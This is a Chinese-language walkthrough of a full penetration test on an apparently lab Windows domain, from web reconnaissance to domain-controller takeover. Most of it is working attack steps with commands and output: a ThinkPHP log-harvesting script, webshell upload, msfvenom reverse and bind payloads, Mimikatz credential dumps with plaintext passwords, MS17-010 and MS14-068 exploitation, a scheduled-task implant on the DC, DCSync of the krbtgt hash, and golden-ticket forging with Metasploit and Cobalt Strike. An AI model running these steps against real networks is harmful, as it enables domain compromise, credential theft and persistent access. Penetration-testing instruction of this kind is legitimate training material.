这是一个完整的内网域渗透测试实例,从外网打到内网域控,
使用技巧包括但不局限于,
子域名碰撞测试 python编写渗透工具 用metasploit获取域控的ntml 明文 凭据 定位域控 制作白银票据
制作黄金票据 跨路由渗透 内网横行渗透 域控权限维持 cobaltscritke渗透内网域控等多种域渗透技巧。
此次最终目标是拿下内网之中的DC机器。
探测到我们的目标主机192.168.0.122,我们就可以进行端口扫描。
可以先用masscan 探测哪些端口开放,再用nmap 扫描开放端口具体信息。
masscan -p 1-65535 192.168.0.150--rate=1000
nmap -sC -p 3306,49154,80,47001,49157,139,49153,445,135,49155,49156,49152,3389 -A 192.168.0.150 -oA webhack
-oA 是将结束输出到webhack文件中(会产生多个文件)
命令:Whatweb www.webhack123.com
发现网站大概率是thinkphp搭建的。
使用命令:
gobuster dir -u http://www.webhack123.com -w /usr/share/wordlists/dirb/big.txt -t 50
上边通过目录扫描,发现svn的情况。利用对应脚本直接将网站源码下载。
其中,在一个数据库文件中发现存在账户密码。
Cmd5解密得到密码是123456。
另外,像“ wc.db ”这种数据库文件我们是可以打开的。比如navcat。
发现一些路径信息,有thinkphp的日志文件。可以去我们svn下载的文件那看看。
也可以直接拼接路径,在浏览器打开。
使用kali的sqlitebrowser打开,效果一样。
浏览器是可以直接访问的,尝试访问配置文件,发现无法读取。但是却爆出了绝对路径。
当然,这些配置文件。我们通过svn已经下载了。但是没有发现一些敏感信息。
这里能发现绝对路径还是挺好的。说不定别的站,这个就可以直接找到一些敏感信息。
日志文件倒是可以读取。
下载的源代码之中也是存在的。
其实大部分thinkphp网站的日志记录都是打开的,
且有一定的规律,我们可以写一个脚本进行利用。
import requests
import sys
def addurls(year):
url = "http://www.webhack123.com/App/Runtime/Logs" #记得修改这个网址
urls=[]
for month in range(1,13): #遍历月
for day in range(1,32): #遍历日
if month < 10:
if day < 10:
urls.append(url+"/%s_0%s_0%s.log"%(year,month,day))
else:
urls.append(url+"/%s_0%s_%s.log"%(year,month,day))
else:
if day < 10:
urls.append(url+"/%s_%s_0%s.log"%(year,month,day))
else:
urls.append(url+"/%s_%s_%s.log"%(year,month,day))
return urls
#print(addurls(20))
year = sys.argv[1] #传入年
#print(year)
urls = addurls(year)
for url in urls:
r = requests.get(url)
if r.status_code == 200:
print(url) #将存在的日志的链接打印出
with open("thinkphp3_log.txt","a",encoding='utf-8') as f:
f.write(r.text) #将日志存入文件
使用,
找到最后一个password,
去在线cmd破解一下,
此时得到账户密码,admin,web123。但是目录扫描没有找到后台。
目录扫描没有得到后台地址,一般有两种可能。即后台名字比较奇葩,字典没有。
另一个是,后台在域名里。
这里有个小技巧,有一些大的厂商,并不会把所有的子域名都进行备案的。
即他们仅仅通过少数员工通过绑定hosts使用,
这样的话。子域名扫描是根本扫描不出的。这个时候,我们就可以上一个脚本了。
实际使用的话,注意修改一下其中的内容。
他会根据提供的根域名与爆破对应IP下的子域名。这样即使目标没有在idc备案也可以扫描出。
同时将结果保存在hosts_ok文件内。
注意的一点是,他默认会去匹配http与https。这里靶机没有https,我就把它注释了。
直接编译运行,
第二是直接cmd运行效果比sublimes好,经过测试,我的sublime扫描不出东西,
但是朋友的可以,不知道哪里出了问题。我本机cmd是没问题的。
小技巧是,像下边这种难分辨时,直接替换到不重要内容如“ 标题:403 错误 - phpstudy ”。
将枚举出的子域名添加到hosts内,用在日志文件内找到的账户登录。
登录界面还有一个问题就是验证码功能缺陷,一个验证码可以重复使用很长时间。
看看后台有什么可以上传webshell的地方,
发现可以控制上传文件类型,修改后提交保存。
上传一句马,
复制此图片的地址,
拼接我们刚刚上传一句马的内容访问,得到结果。
连接菜刀,
直接是system权限,接下来上线msf。
使用命令:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.105 lport=12345 -f exe > s.exe
进行监听,
将木马通过菜刀上传,并执行。
成功上线,
迁移进程到64位系统进程,
老规矩,先hashdump一下。
使用 mimikatz_command -f sekurlsa::searchPasswords 读取一下明文。
将结果先复制出来。
[0] { WEB$ ; HACKBOX ; 2dc277c952f1c382f69d6ab2e74d1ba552d2ea97e5398d873f49fc605a22733918326b504d3eeb14bbe3df0f7882ad1a32729b18ac4a8e29ae465bcc80af0503bea3451383309d7b01c90e967e2eddce6cb225b1a50e8065b8522e080b07b807946975fe09c41615a2fa18c5cb8d594edd01354b387bd5dc9590f67640a3c709e0f3d23577851fb6437904de76370306048397c20272072477d06a88e2a3733bcd38a235f168d85b60e4af3406f50658d70dc0b6acd4ee05019daac9c317e5f16e6303e722710345a94c4827ad356021b7816ac1a19e0eaebc9b59d88c30b2a45adf35827429aa82e9086186b2f85f73 }
[1] { WEB$ ; HACKBOX ; 2dc277c952f1c382f69d6ab2e74d1ba552d2ea97e5398d873f49fc605a22733918326b504d3eeb14bbe3df0f7882ad1a32729b18ac4a8e29ae465bcc80af0503bea3451383309d7b01c90e967e2eddce6cb225b1a50e8065b8522e080b07b807946975fe09c41615a2fa18c5cb8d594edd01354b387bd5dc9590f67640a3c709e0f3d23577851fb6437904de76370306048397c20272072477d06a88e2a3733bcd38a235f168d85b60e4af3406f50658d70dc0b6acd4ee05019daac9c317e5f16e6303e722710345a94c4827ad356021b7816ac1a19e0eaebc9b59d88c30b2a45adf35827429aa82e9086186b2f85f73 }
[2] { Administrator ; WEB ; !@#Qwe456 }
[3] { DNS ; ns1.uniregistrymarket.link ; 950c15ba089f0f795da33a038d92140a36dd151d8933367f1c6d6193a3addbc2a66dfe9f3b1c395b0a1f90caf35433362d4f0ec30bb03f0bc1080797d5fff33ce0de4e8f }
[4] { web$ ; HACKBOX.COM ; 2dc277c952f1c382f69d6ab2e74d1ba552d2ea97e5398d873f49fc605a22733918326b504d3eeb14bbe3df0f7882ad1a32729b18ac4a8e29ae465bcc80af0503bea3451383309d7b01c90e967e2eddce6cb225b1a50e8065b8522e080b07b807946975fe09c41615a2fa18c5cb8d594edd01354b387bd5dc9590f67640a3c709e0f3d23577851fb6437904de76370306048397c20272072477d06a88e2a3733bcd38a235f168d85b60e4af3406f50658d70dc0b6acd4ee05019daac9c317e5f16e6303e722710345a94c4827ad356021b7816ac1a19e0eaebc9b59d88c30b2a45adf35827429aa82e9086186b2f85f73 }
[5] { web$ ; HACKBOX.COM ; 2dc277c952f1c382f69d6ab2e74d1ba552d2ea97e5398d873f49fc605a22733918326b504d3eeb14bbe3df0f7882ad1a32729b18ac4a8e29ae465bcc80af0503bea3451383309d7b01c90e967e2eddce6cb225b1a50e8065b8522e080b07b807946975fe09c41615a2fa18c5cb8d594edd01354b387bd5dc9590f67640a3c709e0f3d23577851fb6437904de76370306048397c20272072477d06a88e2a3733bcd38a235f168d85b60e4af3406f50658d70dc0b6acd4ee05019daac9c317e5f16e6303e722710345a94c4827ad356021b7816ac1a19e0eaebc9b59d88c30b2a45adf35827429aa82e9086186b2f85f73 }
[6] { WEB ; Administrator ; !@#Qwe456 }
[7] { Administrator ; WEB ; !@#Qwe456 }
猕猴桃可以使用很多命令,可以使用help查看。
在使用“ tspkg ”的时候,发现存在hackbox域用户 web
本地管理员 Administrator 密码 !@#Qwe456
使用arp获取一下靶机内网信息。
先看看网络信息。输入shell,进入目标cmd命令。
输入ipconfig /all 之后乱码,
我们可以通过设置编码来解决。
命令chcp 65001,在查看网络信息好了很多。
先看看内网dns的信息,一般内网的dns服务器都是域控机器。
另一种方法是,进入shell交互下,使用命令:
“ net config workstation ”
但是这里貌似没有找到。
在使用msf一条命令, run post/windows/gather/enum_domain 。发现在域中,
但是IP有一点问题,他是在内网没有找到,直接找的外网。
继续通过hostname看看本机名称,再通过net view看看域列表。
也可以通过,net view /domain来查看工作组信息, 一般workgroup是本地组的信息。
net view /domain //来查看工作组信息, 一般workgroup是本地组的信息。
Hostname //看看本机名称
net view //看看域列表,遍历域内主机。
run post/windows/gather/enum_domain //查看是否在域中,以及域控ip(有误报)
net config workstation //cmd下,看看是否在域中
arp //查看内网主机
另外内网的dns服务区一般都是域控。
使用命令“ run post/windows/gather/enum_logged_on_users ”来获取登录过靶机的机器。
这个命令,很有用,单独伶出来写。主要是对后续做票据很有用。
S-1-5-18 %systemroot%\system32\config\systemprofile
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-1443003717-4130318662-4279967973-500 C:\Users\Administrator
S-1-5-21-2005268815-658469957-1189185684-1103 C:\Users\web
S-1-5-21-2005268815-658469957-1189185684-500 C:\Users\Administrator.HACKBOX
通过上述我们大概可以得出,目标在域内,域控主机大概率是10.10.10.149。
开启socks 4代理,
代理成功后,自动放到了后台。可以使用jobs来查看。
此时,仅仅是代理还没增加路由,还不能访问目标内网。
使用run get_local_subnets来看看网络信息。
使用run autoroute -s 10.10.10.0/24 添加路由进行内网渗透。
修改本机配置信息” vim /etc/proxychains.conf “
代理nmap对域控进行扫描“ proxychains nmap -sT -Pn 10.10.10.149 ”。
这有一个问题就是,假如扫描很慢的话,就使用socks 5代理。
使用菜刀将socks5上传开启,msf自带的socks5有bug。
经过一段时间的等待,出来结果。
上边扫描到开放445端口,我们可以使用smb的一些0day去打一下。
也可以试试永恒之蓝,这个永恒之蓝目标可以设置为一个内网段,从而对整个内网进行攻击。
还有一个点是,这是都是内网环境,要把payload设置为正向连接,
反弹会话一般是是回不来的。使用命令“ set payload windows/x64/shell/bind_tcp ”
这里貌似攻击成功,
成功的一瞬间,直接掉。且跳板机器还提示要重启。
这波呀,是赔了夫人又折兵。
注意的是:
此漏洞貌似无法在win ser 2012上利用。
使用这个的条件是,知道一个普通域控用户账户密码。
我们上边获取hash的时候,找到过
[6] { WEB ; Administrator ; !@#Qwe456 }
[7] { Administrator ; WEB ; !@#Qwe456 }
可以试试web是不是域内账户。
使用命令“ run post/windows/manage/enable_rdp ”开启目标远程登录。
远程登录,
选择其他用户,输入“ hackbox\web !@#Qwe456 ”进行登录尝试。提示:
看来账户是对的,只是因为刚刚ms17打的重启导致的问题。因为账户密码出错是这样的:
使用菜刀上传exp,但是貌似没上传成功。
直接拖到kali,使用msf上传。“ Upload kali本机文件 目标文件 ”
使用菜刀看看,上传成功。
看看脚本利用都需要什么条件。“ 脚本 用户 SID 域控IP 用户的密码”
成功创建。
也可以通过菜刀看看。
来加载kiwi,导入票据。 “ load kiwi ”。
但是发现kiwi没有导入票据的功能,还是得将猕猴桃上传到目标服务器。
此时先访问一下,域控机器的C盘,是无法访问的,没有权限。
运行mimikatz,
先清理一波票据“ kerberos::purge ”,在查看“ kerberos::list ”。
使用命令“ kerberos::ptc [email protected] ”进行导入。
再次尝试访问dc的C盘,命令“ dir \\dc\c$ ”。
此时,我们已经可以访问域控的C盘文件了,但是这显然不是目的。我们要拿到shell。
思路:生成msf正向连接木马,讲木马复制到域控,在设置一个定时任务。
生成正向木马
msfvenom -p windows/meterpreter/bind_tcp lport=13777 -f exe >`pwd`/bind.exe
命令“ upload /roor/桌面 C:/phpstudy_pro/WWW/www.webhack123.com/ ”记得将“ \ ”改为“ / ”。
将木马复制到域控“ copy bind.exe \\dc\C$\ ”
查看域控的时间,“ net time \\dc ”.
设置定事任务“ at \\dc 17:26:00 c:/bind.exe ”
使用“ at \\dc ”来查看定时任务。
看着到时间了,就直接启动msf进行监听。
到此,通过msf拿到域控的会话。
老规矩,迁移完进程hashdump。
加载猕猴桃读取明文“ mimikatz_command -f sekurlsa::searchPasswords ”。
此时就可以通过开启域控3389,进行账户密码登录了。但是此动静可能会大一些。
这里还是给出过程吧。“ run post/windows/manage/enable_rdp ”。
使用命令“ proxychains rdesktop 10.10.10.149 ”
使用得到的账户密码登录,
直接登录到了域控。
考虑长期权维护,还是做一个黄金票据比较保险,先清理一下刚刚生成的票据。
此时会话是“ web ”服务器的,并不是域控的。要注意!!!
先加载kiwi,然后使用“ kerberos_ticket_purge ”来清理票据。
访问dc的C盘测试,已经不能访问域控的C盘了。
此时,应该开始制作票据了,开始准备一些制作票据的资料(ntml sid)。
先切换回域控会话。
第一种获取“ SID ”的方法,先进入shell环境,
执行“ wmic useraccount where name="krbtgt" get sid ”命令。
这种方式是有缺陷的,即不能获取“ ntml ”。
我们接着来说第二种方法,需要“ 域管理员权限 ”,使用ps查看进程。
切换到任意一个进程,注意使用“ steal_token ”命令而非“ migrate ”。
另一点,要注意进程数是表红框的,不是旁边的。
使用“ dcsync_ntlm krbtgt ”命令来获取krbtgt 的资料
但是,此时提醒没有找到命令,且权限也对。这是因为没有加载“ kiwi ”。
加载后,直接获取到。
[+] Account : krbtgt
[+] NTLM Hash : 6f60ace6accbcb76078ccc0312174e98
[+] LM Hash : 36588bd35fd1fe85ec5fd73a1ca6805b
[+] SID : S-1-5-21-2005268815-658469957-1189185684-502
[+] RID : 502
golden_ticket_create -d 域名 -u 任意用户名 -s SID(没有-502) -k NTLM -t 保存位置。
如:
golden_ticket_create -d hackbox.com -u asdzxc -s S-1-5-21-2005268815-658469957-1189185684 -k 6f60ace6accbcb76078ccc0312174e98 -t /tmp/krbtgt.ticket
去tmp查看,
刚刚我们使用域控会话成功制作了黄金票据,此时我们切换到web服务器会话。
将生成的黄金票据,先验证一下,此时能不能访问域控的c盘。
退出到“ meterpreter ”会话,
使用“ kerberos_ticket_use /tmp/test.ticket ”命令来加载黄金票据。
导入成功,来测试能不能此时能不能访问域控C盘,
在kali使用“ ./teamserver 192.168.0.105 aaa123456 ”启动服务端,本机win连接。
新增一个HTTP的监听,
在新增一个SMB的监听。
生成一个木马,
不要选择64位的。
通过菜刀上传连接,
成功上线CS,
将延时设置为0,
老规矩,先迁移进程,然后dump出hash明文等。
将进程迁移到一个64位的进程之中。监听选择SMB吧。
完成迁移。
列出hash与明文。
信息都会保存到这里。
进入bencon,执行“net view”来列举一些域内信息。这个DC的IP依旧是不对的。
可以使用这些快捷功能,来看看。
也可以在这里使用一些端口扫描,
不太建议对整个C端进行扫描,这样动静太大了。
先访问一下域控C盘,此时是不行的。
我们之前在使用msf的时候,已经生成了一个。
但是CS是不能直接使用此格式的,需要转换为“ .ticket ”格式的(如黄金票据)。
将他下载到本机,用py2的脚本“ KrbCredExport.py “来转换一下格式。
命令“ python KrbCredExport.py [email protected] u.ticket “
这个是“ ms14-068.exe “程序生成的,有时候无法转换成功。
这个时候我们就用对应的py脚本生成” . ccache “文件。注意生成的时候要可以访问到域控。
在smb会话中进入beacon,输出help可以查看一些命令。
有的同学说,为什么不能导入ccache格式文件,红框上边不是有选项,好我们试试。
直接爆红“ Could not extract ticket from “无法从文件中导入。
好,我们继续试试刚刚转换生成的“ u.ticket “,成功。
测试访问域控C盘,竟然还不行。
有毒,还是老老实实用ms14-068.py去生成一下吧。此时msf的代理还没有关。
使用命令
“ proxychains python ms14-068.py -u [email protected] -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456 “
使用命令“python KrbCredExport.py ../ms14-068py/TGT_web\@hackbox.com.ccache u2.ticket “转换票据格式。
导入转换成功的票据,测试能不能访问dc的C盘,我giao,还不行。
在试试,第二次成功了。
生成一个正向连接的木马先。
选择刚刚的smb监听器。
用菜刀上传。
切换目录,将木马传递到域控机器。命令“ shell copy beacon.exe \\dc\c$\bea.exe “
查域控时间,新增定事任务。
可以通过“ shell at \\dc “来查看计划任务。
使用“link dc“来连接域控。
来继续获取哈希与明文。
进入凭证信息查看。
现在就差sid了,和上边一样,两种方式。
第一种,直接执行命令“ shell wmic useraccount where name="krbtgt" get sid ”。
第二种,直接执行“ dcsync hackbox.com hackbox\krbtgt ”,不用切换用户这个。
此时,先去清理一下票据。命令“ kerberos_ticket_purge ”,
之后再去访问域控C盘,发现还是可以访问。
直接重启web服务器,这样一会看的效果明显。重启后,在菜刀执行木马再次上线CS。
注入进程到smb会话,sleep设置为0。SMB会话尝试获取域控C盘文件。
获取失败,制作黄金票据。
填写设置,除了用户名随意,其余按实填写就行。
成功访问到域控C盘。
通过信息收集发现目标是thinkphp搭建且存在svn源代码泄露,下载源码。
寻找日志,关键字搜索password找到后台密码,md5破解成功。
通过子域名扫描找到网站后台,修改上传文件类型getshell。上传msf木马,成功上线。
信息收集判断当前主机是否在域环境中,进而寻找一下域控。
通过msf收集一些登录过机器的一些信息(主要是sid),配合MS14-068创建票据。
使用定时任务拿下域控机器,接下来就是制作票据。迁移msf进程到域管理员进程,
加载kiwi,使用“ dcsync_ntlm krbtgt ”命令来获取krbtgt 的资料(SID与NTLM)。
生成票据到tmp目录,切换回外网机器,导入票据顺利访问到域控C盘。
先创建一个http的监听,一个smb的监听,同时生成32位木马,通过菜刀上传。
成功上线外网服务器到CS,迁移到64位程序进程,通过smb监听在上线一个会话。
抓取机器上的哈希明文信息,自动的保存到凭证信息。
========================
通过ms14-068的py脚本生成ticket格式的票据导入(CS不能导入ccache格式的票据)。
CS生成一个正向连接木马,监听选择刚刚的SMB。通过菜刀上传到外网服务器,
复制木马到域控机器,设置定时任务,最后通过“ link dc”主动连接上线域控机器。
====================================
抓取域控机器哈希明文,在获取一下sid,生成黄金票据。